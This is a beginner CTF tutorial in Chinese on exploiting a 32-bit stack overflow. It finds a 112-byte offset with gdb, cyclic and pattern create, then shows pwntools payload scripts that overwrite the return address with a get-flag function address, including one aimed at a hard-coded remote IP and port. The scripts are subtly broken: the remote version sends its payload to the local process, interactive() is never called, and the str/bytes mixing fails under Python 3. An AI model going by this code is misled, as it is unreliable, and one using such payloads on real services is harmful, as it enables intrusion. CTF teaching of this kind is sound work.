PWN入门【栈溢出】

时间:2024-03-18 17:04:04

PWN入门

  1. 先利用IDA对pwn文件进行静态调试
    对pwn文件进行反编译
    PWN入门【栈溢出】
    因为CFT是夺旗赛,所以我们首先要找到get flag的函数
    PWN入门【栈溢出】

  2. 利用gdb进行动态调试
    PWN入门【栈溢出】
    我们就可以利用栈溢出获取系统权限
    我认为有两种方法来获得使栈溢出所需要的填充量
    (1)、利用通过输入大量的字符来使其达到溢出,判断溢出的位置,从而获得栈长。
    PWN入门【栈溢出】
    我们利用cyclic length函数产生若干个有序字符。
    利用cyclic 300产生300个有序字符。PWN入门【栈溢出】
    用gdb来运行pwn文件,利用run指令使程序跑起来,并将之前利用cyclic 300产生的有序字符输入。
    PWN入门【栈溢出】
    输入后会使栈溢出,产生报错信息
    PWN入门【栈溢出】
    获得0x62616164,看他报错的意思是(跳转到0x62616164)这步出错了,意思就是没有0x62616164这个位置,那这个位置是从哪来的呢?就是我们300个有序字符其中最先溢出的第部分。所以,0x62616164是栈溢出的位置。那么只要知道这个0x62616164是我们输入的第几个,就可以数出来它前头有几个数字了。然后利用cyclic -l,这个函数代表着查询你所给的4bit字符前有几个字母。
    PWN入门【栈溢出】
    得到112,112就是我们填充栈所需的数量。
    (2)、利用gdb动态调试,找到ebp和esp的值
    找到函数中需要输入的位置
    PWN入门【栈溢出】
    利用pattern create 200产生字符,并将产生的字符输入到该输入的地方
    PWN入门【栈溢出】

确认ebp到输入位置的偏移量为108
PWN入门【栈溢出】
PWN入门【栈溢出】
但是,计算输入到ret的偏移量,所以就在加上0x04。得到偏移量为112。

  1. 获得覆盖ret的地址,即需要跳转的get flag的地址
    PWN入门【栈溢出】

这里get flag的地址为0x0804858B
4. 编写payload脚本

from pwn import *
sh=process('./pwn')
elf=ELF('./pwn')
target=0x0804858B
#覆盖ret的地址
sh.sendline('a'*112+p32(target))
#112为栈所需要的覆盖量
sh.interactive

利用python 3.py pwn来运行脚本PWN入门【栈溢出】

  1. 远端控制
    pwn之远端控制,其他操作都不变,只是payload的脚本变了。
from pwn import *
    sh=process('./pwn')
    p = remote ("138.128.212.238" ,9999)
    #这里输入远程控制服务器的地址
    target=0x0804858B
    #覆盖ret的地址
    sh.sendline('a'*112+p32(target))
    #112为栈所需要的覆盖量
    sh.interactive
    

也是运用python 脚本名.py pwnPWN入门【栈溢出】